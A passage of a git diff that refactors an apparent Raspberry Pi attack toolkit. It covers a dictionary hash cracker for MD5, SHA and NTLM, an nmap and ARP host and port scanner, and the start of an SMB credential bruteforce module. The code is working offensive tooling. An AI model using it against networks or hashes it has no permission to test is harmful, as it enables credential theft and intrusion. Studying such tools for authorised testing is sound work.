str, h_type: str) -> Optional[str]: """Generate hash for a password using specified algorithm.""" - if hash_type == 'md5': - return hashlib.md5(password.encode()).hexdigest() - elif hash_type == 'sha1': - return hashlib.sha1(password.encode()).hexdigest() - elif hash_type == 'sha256': - return hashlib.sha256(password.encode()).hexdigest() - elif hash_type == 'sha512': - return hashlib.sha512(password.encode()).hexdigest() - elif hash_type == 'ntlm': - return hashlib.new('md4', password.encode('utf-16le')).hexdigest() - + try: + if h_type == 'md5': + return hashlib.md5(password.encode()).hexdigest() + elif h_type == 'sha1': + return hashlib.sha1(password.encode()).hexdigest() + elif h_type == 'sha256': + return hashlib.sha256(password.encode()).hexdigest() + elif h_type == 'sha512': + return hashlib.sha512(password.encode()).hexdigest() + elif h_type == 'ntlm': + # NTLM is MD4(UTF-16LE(password)) + return hashlib.new('md4', password.encode('utf-16le')).hexdigest() + except Exception as e: + logger.debug(f"Hashing error ({h_type}): {e}") return None - def crack_password(self, password): - """Attempt to crack hashes using a single password and its mutations.""" - try: - mutations = self.apply_mutations(password) - - for mutation in mutations: - for hash_type in HASH_PATTERNS.keys(): - if not self.hash_type or self.hash_type == hash_type: - hash_value = self.hash_password(mutation, hash_type) - - if hash_value in self.hashes: - with self.lock: - self.cracked[hash_value] = { - 'password': mutation, - 'hash_type': hash_type, - 'timestamp': datetime.now().isoformat() - } - logging.info(f"Cracked hash: {hash_value[:8]}... = {mutation}") - - except Exception as e: - logging.error(f"Error cracking with password {password}: {e}") + def _crack_password_worker(self, password: str, progress: ProgressTracker): + """Worker function for cracking passwords.""" + if self.shared_data.orchestrator_should_exit: + return - def save_results(self): - """Save cracked passwords to JSON file.""" - try: - os.makedirs(self.output_dir, exist_ok=True) - timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") - - results = { - 'timestamp': datetime.now().isoformat(), - 'total_hashes': len(self.hashes), - 'cracked_count': len(self.cracked), - 'cracked_hashes': self.cracked - } - - output_file = os.path.join(self.output_dir, f"cracked_{timestamp}.json") - with open(output_file, 'w') as f: - json.dump(results, f, indent=4) + for h_type in HASH_PATTERNS.keys(): + if self.hash_type and self.hash_type != h_type: + continue - logging.info(f"Results saved to {output_file}") - - except Exception as e: - logging.error(f"Failed to save results: {e}") + hv = self._hash_password(password, h_type) + if hv and hv in self.hashes: + with self.lock: + if hv not in self.cracked: + self.cracked[hv] = { + "password": password, + "type": h_type, + "cracked_at": datetime.now().isoformat() + } + logger.success(f"Cracked {h_type}: {hv[:8]}... -> {password}") + self.shared_data.log_milestone(b_class, "Cracked", f"{h_type} found!") - def execute(self): - """Execute the password cracking process.""" + progress.advance() + + def execute(self, ip, port, row, status_key) -> str: + """Standard Orchestrator entry point.""" + input_file = str(getattr(self.shared_data, "rune_cracker_input", "")) + wordlist_path = str(getattr(self.shared_data, "rune_cracker_wordlist", "")) + self.hash_type = getattr(self.shared_data, "rune_cracker_type", None) + output_dir = getattr(self.shared_data, "rune_cracker_output", "/home/bjorn/Bjorn/data/output/hashes") + + if not input_file or not os.path.exists(input_file): + # Fallback: Check for latest odin_recon or other hashes if running in generic mode + potential_input = os.path.join(self.shared_data.data_dir, "output", "packets", "latest_hashes.txt") + if os.path.exists(potential_input): + input_file = potential_input + logger.info(f"RuneCracker: No input provided, using fallback: {input_file}") + else: + logger.error(f"Input file not found: {input_file}") + return "failed" + + # Load hashes + self.hashes.clear() try: - logging.info("Starting password cracking process") - self.load_hashes() - - if not self.hashes: - logging.error("No valid hashes loaded") - return - - wordlist = self.load_wordlist() - - with ThreadPoolExecutor(max_workers=10) as executor: - executor.map(self.crack_password, wordlist) - - self.save_results() - - logging.info(f"Cracking completed. Cracked {len(self.cracked)}/{len(self.hashes)} hashes") - + with open(input_file, 'r', encoding="utf-8", errors="ignore") as f: + for line in f: + hv = line.strip() + if not hv: continue + # Auto-detect or validate + for h_t, pat in HASH_PATTERNS.items(): + if re.match(pat, hv): + if not self.hash_type or self.hash_type == h_t: + self.hashes.add(hv) + break except Exception as e: - logging.error(f"Error during execution: {e}") + logger.error(f"Error loading hashes: {e}") + return "failed" -def save_settings(input_file, wordlist, rules, hash_type, output_dir): - """Save settings to JSON file.""" - try: - os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True) - settings = { - "input_file": input_file, - "wordlist": wordlist, - "rules": rules, - "hash_type": hash_type, - "output_dir": output_dir - } - with open(SETTINGS_FILE, 'w') as f: - json.dump(settings, f) - logging.info(f"Settings saved to {SETTINGS_FILE}") - except Exception as e: - logging.error(f"Failed to save settings: {e}") + if not self.hashes: + logger.warning("No valid hashes found in input file.") + return "failed" + + logger.info(f"RuneCracker: Loaded {len(self.hashes)} hashes. Starting engine...") + self.shared_data.log_milestone(b_class, "Initialization", f"Loaded {len(self.hashes)} hashes") + + # Prepare password plan + dict_passwords = [] + if wordlist_path and os.path.exists(wordlist_path): + with open(wordlist_path, 'r', encoding="utf-8", errors="ignore") as f: + dict_passwords = [l.strip() for l in f if l.strip()] + else: + # Fallback tiny list + dict_passwords = ['password', 'admin', '123456', 'qwerty', 'bjorn'] + + dictionary, fallback = merged_password_plan(self.shared_data, dict_passwords) + all_candidates = dictionary + fallback + + progress = ProgressTracker(self.shared_data, len(all_candidates)) + self.shared_data.log_milestone(b_class, "Bruteforce", f"Testing {len(all_candidates)} candidates") -def load_settings(): - """Load settings from JSON file.""" - if os.path.exists(SETTINGS_FILE): try: - with open(SETTINGS_FILE, 'r') as f: - return json.load(f) + with ThreadPoolExecutor(max_workers=self.max_workers) as executor: + for pwd in all_candidates: + if self.shared_data.orchestrator_should_exit: + executor.shutdown(wait=False) + return "interrupted" + executor.submit(self._crack_password_worker, pwd, progress) except Exception as e: - logging.error(f"Failed to load settings: {e}") - return {} + logger.error(f"Cracking engine error: {e}") + return "failed" -def main(): - parser = argparse.ArgumentParser(description="Advanced password cracker") - parser.add_argument("-i", "--input", help="Input file containing hashes") - parser.add_argument("-w", "--wordlist", help="Path to password wordlist") - parser.add_argument("-r", "--rules", help="Path to rules file") - parser.add_argument("-t", "--type", choices=list(HASH_PATTERNS.keys()), help="Hash type") - parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory") - args = parser.parse_args() - - settings = load_settings() - input_file = args.input or settings.get("input_file") - wordlist = args.wordlist or settings.get("wordlist") - rules = args.rules or settings.get("rules") - hash_type = args.type or settings.get("hash_type") - output_dir = args.output or settings.get("output_dir") - - if not input_file: - logging.error("Input file is required. Use -i or save it in settings") - return - - save_settings(input_file, wordlist, rules, hash_type, output_dir) - - cracker = RuneCracker( - input_file=input_file, - wordlist=wordlist, - rules=rules, - hash_type=hash_type, - output_dir=output_dir - ) - cracker.execute() + # Save results + if self.cracked: + os.makedirs(output_dir, exist_ok=True) + out_file = os.path.join(output_dir, f"cracked_{int(time.time())}.json") + with open(out_file, 'w', encoding="utf-8") as f: + json.dump({ + "target_file": input_file, + "total_hashes": len(self.hashes), + "cracked_count": len(self.cracked), + "results": self.cracked + }, f, indent=4) + logger.success(f"Cracked {len(self.cracked)} hashes! Results: {out_file}") + self.shared_data.log_milestone(b_class, "Complete", f"Cracked {len(self.cracked)} hashes") + return "success" + + logger.info("Cracking finished. No matches found.") + self.shared_data.log_milestone(b_class, "Finished", "No passwords found") + return "success" # Still success even if 0 cracked, as it finished the task if __name__ == "__main__": - main() \ No newline at end of file + # Minimal CLI for testing + import sys + from init_shared import shared_data + if len(sys.argv) < 2: + print("Usage: rune_cracker.py ") + sys.exit(1) + + shared_data.rune_cracker_input = sys.argv[1] + cracker = RuneCracker(shared_data) + cracker.execute("local", None, {}, "rune_cracker") diff --git a/actions/scanning.py b/actions/scanning.py index 808a731..4a5ce48 100644 --- a/actions/scanning.py +++ b/actions/scanning.py @@ -1,20 +1,24 @@ # scanning.py – Network scanner (DB-first, no stubs) # - Host discovery (nmap -sn -PR) -# - Resolve MAC/hostname (per-host threads) -> DB (hosts table) -# - Port scan (multi-threads) -> DB (merge ports by MAC) +# - Resolve MAC/hostname (ThreadPoolExecutor) -> DB (hosts table) +# - Port scan (ThreadPoolExecutor) -> DB (merge ports by MAC) # - Mark alive=0 for hosts not seen this run # - Update stats (stats table) # - Light logging (milestones) without flooding # - WAL checkpoint(TRUNCATE) + PRAGMA optimize at end of scan -# - NEW: No DB insert without a real MAC. Unresolved IPs are kept in-memory for this run. +# - No DB insert without a real MAC. Unresolved IPs are kept in-memory. +# - RPi Zero optimized: bounded thread pools, reduced retries, adaptive concurrency import os +import re import threading import socket import time import logging import subprocess -from datetime import datetime +from concurrent.futures import ThreadPoolExecutor, as_completed +import datetime + import netifaces from getmac import get_mac_address as gma @@ -35,12 +39,48 @@ b_action = "global" b_trigger = "on_interval:180" b_requires = '{"max_concurrent": 1}' +# --- Module-level constants (avoid re-creating per call) --- +_MAC_RE = re.compile(r'([0-9A-Fa-f]{2})([-:])(?:[0-9A-Fa-f]{2}\2){4}[0-9A-Fa-f]{2}') +_BAD_MACS = frozenset({"00:00:00:00:00:00", "ff:ff:ff:ff:ff:ff"}) + +# RPi Zero safe defaults (overridable via shared config) +_MAX_HOST_THREADS = 2 +_MAX_PORT_THREADS = 4 +_PORT_TIMEOUT = 0.8 +_MAC_RETRIES = 2 +_MAC_RETRY_DELAY = 0.5 +_ARPING_TIMEOUT = 1.0 +_NMAP_DISCOVERY_TIMEOUT_S = 90 +_NMAP_DISCOVERY_ARGS = "-sn -PR --max-retries 1 --host-timeout 8s" +_SCAN_MIN_INTERVAL_S = 600 + + +def _normalize_mac(s): + if not s: + return None + m = _MAC_RE.search(str(s)) + if not m: + return None + return m.group(0).replace('-', ':').lower() + + +def _is_bad_mac(mac): + if not mac: + return True + mac_l = mac.lower() + if mac_l in _BAD_MACS: + return True + parts = mac_l.split(':') + if len(parts) == 6 and len(set(parts)) == 1: + return True + return False + class NetworkScanner: """ Network scanner that populates SQLite (hosts + stats). No CSV/JSON. - Keeps the original fast logic: nmap discovery, per-host threads, per-port threads. - NEW: no 'IP:' stubs are ever written to the DB; unresolved IPs are tracked in-memory. + Uses ThreadPoolExecutor for bounded concurrency (RPi Zero safe). + No 'IP:' stubs are ever written to the DB; unresolved IPs are tracked in-memory. """ def __init__(self, shared_data): self.shared_data = shared_data @@ -52,8 +92,26 @@ class NetworkScanner: self.lock = threading.Lock() self.nm = nmap.PortScanner() self.running = False + # Local stop flag for this action instance. + # IMPORTANT: actions must never mutate shared_data.orchestrator_should_exit (global stop signal). + self._stop_event = threading.Event() + self.thread = None self.scan_interface = None + cfg = getattr(self.shared_data, "config", {}) or {} + self.max_host_threads = max(1, min(8, int(cfg.get("scan_max_host_threads", _MAX_HOST_THREADS)))) + self.max_port_threads = max(1, min(16, int(cfg.get("scan_max_port_threads", _MAX_PORT_THREADS)))) + self.port_timeout = max(0.3, min(3.0, float(cfg.get("scan_port_timeout_s", _PORT_TIMEOUT)))) + self.mac_retries = max(1, min(5, int(cfg.get("scan_mac_retries", _MAC_RETRIES)))) + self.mac_retry_delay = max(0.2, min(2.0, float(cfg.get("scan_mac_retry_delay_s", _MAC_RETRY_DELAY)))) + self.arping_timeout = max(1.0, min(5.0, float(cfg.get("scan_arping_timeout_s", _ARPING_TIMEOUT)))) + self.discovery_timeout_s = max( + 20, min(300, int(cfg.get("scan_nmap_discovery_timeout_s", _NMAP_DISCOVERY_TIMEOUT_S))) + ) + self.discovery_args = str(cfg.get("scan_nmap_discovery_args", _NMAP_DISCOVERY_ARGS)).strip() or _NMAP_DISCOVERY_ARGS + self.scan_min_interval_s = max(60, int(cfg.get("scan_min_interval_s", _SCAN_MIN_INTERVAL_S))) + self._last_scan_started = 0.0 + # progress self.total_hosts = 0 self.scanned_hosts = 0 @@ -76,9 +134,13 @@ class NetworkScanner: total = min(max(total, 0), 100) self.shared_data.bjorn_progress = f"{int(total)}%" + def _should_stop(self) -> bool: + # Treat orchestrator flag as read-only, and combine with local stop event. + return bool(getattr(self.shared_data, "orchestrator_should_exit", False)) or self._stop_event.is_set() + # ---------- network ---------- def get_network(self): - if self.shared_data.orchestrator_should_exit: + if self._should_stop(): return None try: if self.shared_data.use_custom_network: @@ -118,7 +180,7 @@ class NetworkScanner: self.logger.debug(f"nmap_prefixes not found at {path}") return vendor_map try: - with open(path, 'r') as f: + with open(path, 'r', encoding='utf-8', errors='ignore') as f: for line in f: line = line.strip() if not line or line.startswith('#'): @@ -139,8 +201,11 @@ class NetworkScanner: def get_current_essid(self): try: - essid = subprocess.check_output(['iwgetid', '-r'], stderr=subprocess.STDOUT, universal_newlines=True).strip() - return essid or "" + result = subprocess.run( + ['iwgetid', '-r'], + capture_output=True, text=True, timeout=5 + ) + return (result.stdout or "").strip() except Exception: return "" @@ -160,57 +225,34 @@ class NetworkScanner: Try multiple strategies to resolve a real MAC for the given IP. RETURNS: normalized MAC like 'aa:bb:cc:dd:ee:ff' or None. NEVER returns 'IP:'. + RPi Zero: reduced retries and timeouts. """ - if self.shared_data.orchestrator_should_exit: + if self._should_stop(): return None - import re - - MAC_RE = re.compile(r'([0-9A-Fa-f]{2})([-:])(?:[0-9A-Fa-f]{2}\2){4}[0-9A-Fa-f]{2}') - BAD_MACS = {"00:00:00:00:00:00", "ff:ff:ff:ff:ff:ff"} - - def _normalize_mac(s: str | None) -> str | None: - if not s: - return None - m = MAC_RE.search(s) - if not m: - return None - return m.group(0).replace('-', ':').lower() - - def _is_bad_mac(mac: str | None) -> bool: - if not mac: - return True - mac_l = mac.lower() - if mac_l in BAD_MACS: - return True - parts = mac_l.split(':') - if len(parts) == 6 and len(set(parts)) == 1: - return True - return False - try: mac = None - # 1) getmac (retry a few times) - retries = 6 - while not mac and retries > 0 and not self.shared_data.orchestrator_should_exit: + # 1) getmac (reduced retries for RPi Zero) + retries = self.mac_retries + while not mac and retries > 0 and not self._should_stop(): try: - from getmac import get_mac_address as gma mac = _normalize_mac(gma(ip=ip)) except Exception: mac = None if not mac: - time.sleep(1.5) + time.sleep(self.mac_retry_delay) retries -= 1 # 2) targeted arp-scan - if not mac: + if not mac and not self._should_stop(): try: iface = self.scan_interface or self.shared_data.default_network_interface or "wlan0" - out = subprocess.check_output( + result = subprocess.run( ['sudo', 'arp-scan', '--interface', iface, '-q', ip], - universal_newlines=True, stderr=subprocess.STDOUT + capture_output=True, text=True, timeout=5 ) + out = result.stdout or "" for line in out.splitlines(): if line.strip().startswith(ip): cand = _normalize_mac(line) @@ -225,11 +267,13 @@ class NetworkScanner: self.logger.debug(f"arp-scan fallback failed for {ip}: {e}") # 3) ip neigh - if not mac: + if not mac and not self._should_stop(): try: - neigh = subprocess.check_output(['ip', 'neigh', 'show', ip], - universal_newlines=True, stderr=subprocess.STDOUT) - cand = _normalize_mac(neigh) + result = subprocess.run( + ['ip', 'neigh', 'show', ip], + capture_output=True, text=True, timeout=3 + ) + cand = _normalize_mac(result.stdout or "") if cand: mac = cand except Exception: @@ -247,6 +291,7 @@ class NetworkScanner: # ---------- port scanning ---------- class PortScannerWorker: + """Port scanner using ThreadPoolExecutor for RPi Zero safety.""" def __init__(self, outer, target, open_ports, portstart, portend, extra_ports): self.outer = outer self.target = target @@ -256,10 +301,10 @@ class NetworkScanner: self.extra_ports = [int(p) for p in (extra_ports or [])] def scan_one(self, port): - if self.outer.shared_data.orchestrator_should_exit: + if self.outer._should_stop(): return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(2) + s.settimeout(self.outer.port_timeout) try: s.connect((self.target, port)) with self.outer.lock: @@ -274,25 +319,25 @@ class NetworkScanner: self.outer.update_progress('port', 1) def run(self): - if self.outer.shared_data.orchestrator_should_exit: + if self.outer._should_stop(): return - threads = [] - for port in range(self.portstart, self.portend): - if self.outer.shared_data.orchestrator_should_exit: - break - t = threading.Thread(target=self.scan_one, args=(port,)) - t.start() - threads.append(t) - for port in self.extra_ports: - if self.outer.shared_data.orchestrator_should_exit: - break - t = threading.Thread(target=self.scan_one, args=(port,)) - t.start() - threads.append(t) - for t in threads: - if self.outer.shared_data.orchestrator_should_exit: - break - t.join() + ports = list(range(self.portstart, self.portend)) + self.extra_ports + if not ports: + return + + with ThreadPoolExecutor(max_workers=self.outer.max_port_threads) as pool: + futures = [] + for port in ports: + if self.outer._should_stop(): + break + futures.append(pool.submit(self.scan_one, port)) + for f in as_completed(futures): + if self.outer._should_stop(): + break + try: + f.result(timeout=self.outer.port_timeout + 1) + except Exception: + pass # ---------- main scan block ---------- class ScanPorts: @@ -310,20 +355,28 @@ class NetworkScanner: self.extra_ports = [int(p) for p in (extra_ports or [])] self.ip_data = self.IpData() self.ip_hostname_list = [] # tuples (ip, hostname, mac) - self.host_threads = [] self.open_ports = {} self.all_ports = [] - # NEW: per-run pending cache for unresolved IPs (no DB writes) - # ip -> {'hostnames': set(), 'ports': set(), 'first_seen': ts, 'essid': str} + # per-run pending cache for unresolved IPs (no DB writes) self.pending = {} def scan_network_and_collect(self): - if self.outer.shared_data.orchestrator_should_exit: + if self.outer._should_stop(): + return + with self.outer.lock: + self.outer.shared_data.bjorn_progress = "1%" + t0 = time.time() + try: + self.outer.nm.scan( + hosts=str(self.network), + arguments=self.outer.discovery_args, + timeout=self.outer.discovery_timeout_s, + ) + except Exception as e: + self.outer.logger.error(f"Nmap host discovery failed: {e}") return - t0 = time.time() - self.outer.nm.scan(hosts=str(self.network), arguments='-sn -PR') hosts = list(self.outer.nm.all_hosts()) if self.outer.blacklistcheck: hosts = [ip for ip in hosts if ip not in self.outer.ip_scan_blacklist] @@ -331,10 +384,23 @@ class NetworkScanner: self.outer.total_hosts = len(hosts) self.outer.scanned_hosts = 0 self.outer.update_progress('host', 0) - self.outer.logger.info(f"Host discovery: {len(hosts)} candidate(s) (took {time.time()-t0:.1f}s)") + + elapsed = time.time() - t0 + self.outer.logger.info(f"Host discovery: {len(hosts)} candidate(s) (took {elapsed:.1f}s)") + + # Update comment for display + self.outer.shared_data.comment_params = { + "hosts_found": str(len(hosts)), + "network": str(self.network), + "elapsed": f"{elapsed:.1f}" + } # existing hosts (for quick merge) - existing_rows = self.outer.shared_data.db.get_all_hosts() + try: + existing_rows = self.outer.shared_data.db.get_all_hosts() + except Exception as e: + self.outer.logger.error(f"DB get_all_hosts failed: {e}") + existing_rows = [] self.existing_map = {h['mac_address']: h for h in existing_rows} self.seen_now = set() @@ -342,19 +408,24 @@ class NetworkScanner: self.vendor_map = self.outer.load_mac_vendor_map() self.essid = self.outer.get_current_essid() - # per-host threads - for host in hosts: - if self.outer.shared_data.orchestrator_should_exit: - return - t = threading.Thread(target=self.scan_host, args=(host,)) - t.start() - self.host_threads.append(t) + # per-host threads with bounded pool + max_threads = min(self.outer.max_host_threads, len(hosts)) if hosts else 1 + with ThreadPoolExecutor(max_workers=max_threads) as pool: + futures = {} + for host in hosts: + if self.outer._should_stop(): + break + f = pool.submit(self.scan_host, host) + futures[f] = host - # wait - for t in self.host_threads: - if self.outer.shared_data.orchestrator_should_exit: - return - t.join() + for f in as_completed(futures): + if self.outer._should_stop(): + break + try: + f.result(timeout=30) + except Exception as e: + ip = futures.get(f, "?") + self.outer.logger.error(f"Host scan thread failed for {ip}: {e}") self.outer.logger.info( f"Host mapping completed: {self.outer.scanned_hosts}/{self.outer.total_hosts} processed, " @@ -364,7 +435,10 @@ class NetworkScanner: # mark unseen as alive=0 existing_macs = set(self.existing_map.keys()) for mac in existing_macs - self.seen_now: - self.outer.shared_data.db.update_host(mac_address=mac, alive=0) + try: + self.outer.shared_data.db.update_host(mac_address=mac, alive=0) + except Exception as e: + self.outer.logger.error(f"Failed to mark {mac} as dead: {e}") # feed ip_data for ip, hostname, mac in self.ip_hostname_list: @@ -373,13 +447,19 @@ class NetworkScanner: self.ip_data.mac_list.append(mac) def scan_host(self, ip): - if self.outer.shared_data.orchestrator_should_exit: + if self.outer._should_stop(): return if self.outer.blacklistcheck and ip in self.outer.ip_scan_blacklist: return try: - # ARP ping to help populate neighbor cache - os.system(f"arping -c 2 -w 2 {ip} > /dev/null 2>&1") + # ARP ping to help populate neighbor cache (subprocess with timeout) + try: + subprocess.run( + ['arping', '-c', '2', '-w', str(self.outer.arping_timeout), ip], + capture_output=True, timeout=self.outer.arping_timeout + 2 + ) + except Exception: + pass # Hostname (validated) hostname = "" @@ -393,7 +473,7 @@ class NetworkScanner: self.outer.update_progress('host', 1) return - time.sleep(1.0) # let ARP breathe + time.sleep(0.5) # let ARP breathe (reduced from 1.0 for RPi Zero speed) mac = self.outer.get_mac_address(ip, hostname) if mac: @@ -431,10 +511,12 @@ class NetworkScanner: if ip: ips_set.add(ip) - # Update current hostname + track history current_hn = "" if hostname: - self.outer.shared_data.db.update_hostname(mac, hostname) + try: + self.outer.shared_data.db.update_hostname(mac, hostname) + except Exception as e: + self.outer.logger.error(f"Failed to update hostname for {mac}: {e}") current_hn = hostname else: current_hn = (prev.get('hostnames') or "").split(';', 1)[0] if prev else "" @@ -444,15 +526,18 @@ class NetworkScanner: key=lambda x: tuple(map(int, x.split('.'))) if x.count('.') == 3 else (0, 0, 0, 0) )) if ips_set else None - self.outer.shared_data.db.update_host( - mac_address=mac, - ips=ips_sorted, - hostnames=None, - alive=1, - ports=None, - vendor=vendor or (prev.get('vendor') if prev else ""), - essid=self.essid or (prev.get('essid') if prev else None) - ) + try: + self.outer.shared_data.db.update_host( + mac_address=mac, + ips=ips_sorted, + hostnames=None, + alive=1, + ports=None, + vendor=vendor or (prev.get('vendor') if prev else ""), + essid=self.essid or (prev.get('essid') if prev else None) + ) + except Exception as e: + self.outer.logger.error(f"Failed to update host {mac}: {e}") # refresh local cache self.existing_map[mac] = dict( @@ -467,19 +552,26 @@ class NetworkScanner: with self.outer.lock: self.ip_hostname_list.append((ip, hostname or "", mac)) + + # Update comment params for live display + self.outer.shared_data.comment_params = { + "ip": ip, "mac": mac, + "hostname": hostname or "unknown", + "vendor": vendor or "unknown" + } self.outer.logger.debug(f"MAC for {ip}: {mac} (hostname: {hostname or '-'})") except Exception as e: self.outer.logger.error(f"Error scanning host {ip}: {e}") finally: self.outer.update_progress('host', 1) - time.sleep(0.05) + time.sleep(0.02) # reduced from 0.05 def start(self): - if self.outer.shared_data.orchestrator_should_exit: + if self.outer._should_stop(): return self.scan_network_and_collect() - if self.outer.shared_data.orchestrator_should_exit: + if self.outer._should_stop(): return # init structures for ports @@ -496,12 +588,22 @@ class NetworkScanner: f"(+{len(self.extra_ports)} extra)" ) - # per-IP port scan (threads per port, original logic) for idx, ip in enumerate(self.ip_data.ip_list, 1): - if self.outer.shared_data.orchestrator_should_exit: + if self.outer._should_stop(): return - worker = self.outer.PortScannerWorker(self.outer, ip, self.open_ports, self.portstart, self.portend, self.extra_ports) + + # Update comment params for live display + self.outer.shared_data.comment_params = { + "ip": ip, "progress": f"{idx}/{total_targets}", + "ports_found": str(sum(len(v) for v in self.open_ports.values())) + } + + worker = self.outer.PortScannerWorker( + self.outer, ip, self.open_ports, + self.portstart, self.portend, self.extra_ports + ) worker.run() + if idx % 10 == 0 or idx == total_targets: found = sum(len(v) for v in self.open_ports.values()) self.outer.logger.info( @@ -517,13 +619,27 @@ class NetworkScanner: # ---------- orchestration ---------- def scan(self): - self.shared_data.orchestrator_should_exit = False + # Reset only local stop flag for this action. Never touch orchestrator_should_exit here. + self._stop_event.clear() try: - if self.shared_data.orchestrator_should_exit: + if self._should_stop(): self.logger.info("Orchestrator switched to manual mode. Stopping scanner.") return + now = time.time() + elapsed = now - self._last_scan_started if self._last_scan_started else 1e9 + if elapsed < self.scan_min_interval_s: + remaining = int(self.scan_min_interval_s - elapsed) + self.logger.info_throttled( + f"Network scan skipped (min interval active, remaining={remaining}s)", + key="scanner_min_interval_skip", + interval_s=15.0, + ) + return + self._last_scan_started = now + self.shared_data.bjorn_orch_status = "NetworkScanner" + self.shared_data.comment_params = {} self.logger.info("Starting Network Scanner") # network @@ -535,6 +651,7 @@ class NetworkScanner: return self.shared_data.bjorn_status_text2 = str(network) + self.shared_data.comment_params = {"network": str(network)} portstart = int(self.shared_data.portstart) portend = int(self.shared_data.portend) extra_ports = self.shared_data.portlist @@ -547,21 +664,22 @@ class NetworkScanner: ip_data, open_ports_by_ip, all_ports, alive_macs = result - if self.shared_data.orchestrator_should_exit: + if self._should_stop(): self.logger.info("Scan canceled before DB finalization.") return - # push ports -> DB (merge by MAC). Only for IPs with known MAC. - # map ip->mac + # push ports -> DB (merge by MAC) ip_to_mac = {ip: mac for ip, _, mac in zip(ip_data.ip_list, ip_data.hostname_list, ip_data.mac_list)} - # existing cache - existing_map = {h['mac_address']: h for h in self.shared_data.db.get_all_hosts()} + try: + existing_map = {h['mac_address']: h for h in self.shared_data.db.get_all_hosts()} + except Exception as e: + self.logger.error(f"DB get_all_hosts for port merge failed: {e}") + existing_map = {} for ip, ports in open_ports_by_ip.items(): mac = ip_to_mac.get(ip) if not mac: - # store to pending (no DB write) slot = scanner.pending.setdefault( ip, {'hostnames': set(), 'ports': set(), 'first_seen': int(time.time()), 'essid': scanner.essid} @@ -578,16 +696,19 @@ class NetworkScanner: pass ports_set.update(str(p) for p in (ports or [])) - self.shared_data.db.update_host( - mac_address=mac, - ports=';'.join(sorted(ports_set, key=lambda x: int(x))), - alive=1 - ) + try: + self.shared_data.db.update_host( + mac_address=mac, + ports=';'.join(sorted(ports_set, key=lambda x: int(x))), + alive=1 + ) + except Exception as e: + self.logger.error(f"Failed to update ports for {mac}: {e}") - # Late resolution pass: try to resolve pending IPs before stats + # Late resolution pass unresolved_before = len(scanner.pending) for ip, data in list(scanner.pending.items()): - if self.shared_data.orchestrator_should_exit: + if self._should_stop(): break try: guess_hostname = next(iter(data['hostnames']), "") @@ -595,25 +716,28 @@ class NetworkScanner: guess_hostname = "" mac = self.get_mac_address(ip, guess_hostname) if not mac: - continue # still unresolved for this run + continue mac = mac.lower() vendor = self.mac_to_vendor(mac, scanner.vendor_map) - # create/update host now - self.shared_data.db.update_host( - mac_address=mac, - ips=ip, - hostnames=';'.join(data['hostnames']) or None, - vendor=vendor, - essid=data.get('essid'), - alive=1 - ) - if data['ports']: + try: self.shared_data.db.update_host( mac_address=mac, - ports=';'.join(str(p) for p in sorted(data['ports'], key=int)), + ips=ip, + hostnames=';'.join(data['hostnames']) or None, + vendor=vendor, + essid=data.get('essid'), alive=1 ) + if data['ports']: + self.shared_data.db.update_host( + mac_address=mac, + ports=';'.join(str(p) for p in sorted(data['ports'], key=int)), + alive=1 + ) + except Exception as e: + self.logger.error(f"Failed to resolve pending IP {ip}: {e}") + continue del scanner.pending[ip] if scanner.pending: @@ -622,8 +746,13 @@ class NetworkScanner: f"(resolved during late pass: {unresolved_before - len(scanner.pending)})" ) - # stats (alive, total ports, distinct vulnerabilities on alive) - rows = self.shared_data.db.get_all_hosts() + # stats + try: + rows = self.shared_data.db.get_all_hosts() + except Exception as e: + self.logger.error(f"DB get_all_hosts for stats failed: {e}") + rows = [] + alive_hosts = [r for r in rows if int(r.get('alive') or 0) == 1] all_known = len(rows) @@ -641,12 +770,23 @@ class NetworkScanner: except Exception: vulnerabilities_count = 0 - self.shared_data.db.set_stats( - total_open_ports=total_open_ports, - alive_hosts_count=len(alive_hosts), - all_known_hosts_count=all_known, - vulnerabilities_count=int(vulnerabilities_count) - ) + try: + self.shared_data.db.set_stats( + total_open_ports=total_open_ports, + alive_hosts_count=len(alive_hosts), + all_known_hosts_count=all_known, + vulnerabilities_count=int(vulnerabilities_count) + ) + except Exception as e: + self.logger.error(f"Failed to set stats: {e}") + + # Update comment params with final stats + self.shared_data.comment_params = { + "alive_hosts": str(len(alive_hosts)), + "total_ports": str(total_open_ports), + "vulns": str(int(vulnerabilities_count)), + "network": str(network) + } # WAL checkpoint + optimize try: @@ -661,7 +801,7 @@ class NetworkScanner: self.logger.info("Network scan complete (DB updated).") except Exception as e: - if self.shared_data.orchestrator_should_exit: + if self._should_stop(): self.logger.info("Orchestrator switched to manual mode. Gracefully stopping the network scanner.") else: self.logger.error(f"Error in scan: {e}") @@ -673,7 +813,9 @@ class NetworkScanner: def start(self): if not self.running: self.running = True - self.thread = threading.Thread(target=self.scan_wrapper, daemon=True) + self._stop_event.clear() + # Non-daemon so orchestrator can join it reliably (no orphan thread). + self.thread = threading.Thread(target=self.scan_wrapper, daemon=False) self.thread.start() logger.info("NetworkScanner started.") @@ -683,25 +825,22 @@ class NetworkScanner: finally: with self.lock: self.shared_data.bjorn_progress = "" + self.running = False logger.debug("bjorn_progress reset to empty string") def stop(self): if self.running: self.running = False - self.shared_data.orchestrator_should_exit = True + self._stop_event.set() try: if hasattr(self, "thread") and self.thread.is_alive(): - self.thread.join() + self.thread.join(timeout=15) except Exception: pass logger.info("NetworkScanner stopped.") if __name__ == "__main__": - # SharedData must provide .db (BjornDatabase) and fields: - # default_network_interface, use_custom_network, custom_network, - # portstart, portend, portlist, blacklistcheck, mac/ip/hostname blacklists, - # bjorn_progress, bjorn_orch_status, bjorn_status_text2, orchestrator_should_exit. from shared import SharedData sd = SharedData() scanner = NetworkScanner(sd) diff --git a/actions/smb_bruteforce.py b/actions/smb_bruteforce.py index 32b522a..a80f064 100644 --- a/actions/smb_bruteforce.py +++ b/actions/smb_bruteforce.py @@ -1,8 +1,8 @@ -""" -smb_bruteforce.py — SMB bruteforce (DB-backed, no CSV/JSON, no rich) -- Cibles fournies par l’orchestrateur (ip, port) +""" +smb_bruteforce.py — SMB bruteforce (DB-backed, no CSV/JSON, no rich) +- Cibles fournies par l’orchestrateur (ip, port) - IP -> (MAC, hostname) depuis DB.hosts -- Succès enregistrés dans DB.creds (service='smb'), 1 ligne PAR PARTAGE (database=) +- Succès enregistrés dans DB.creds (service='smb'), 1 ligne PAR PARTAGE (database=) - Conserve la logique de queue/threads et les signatures. 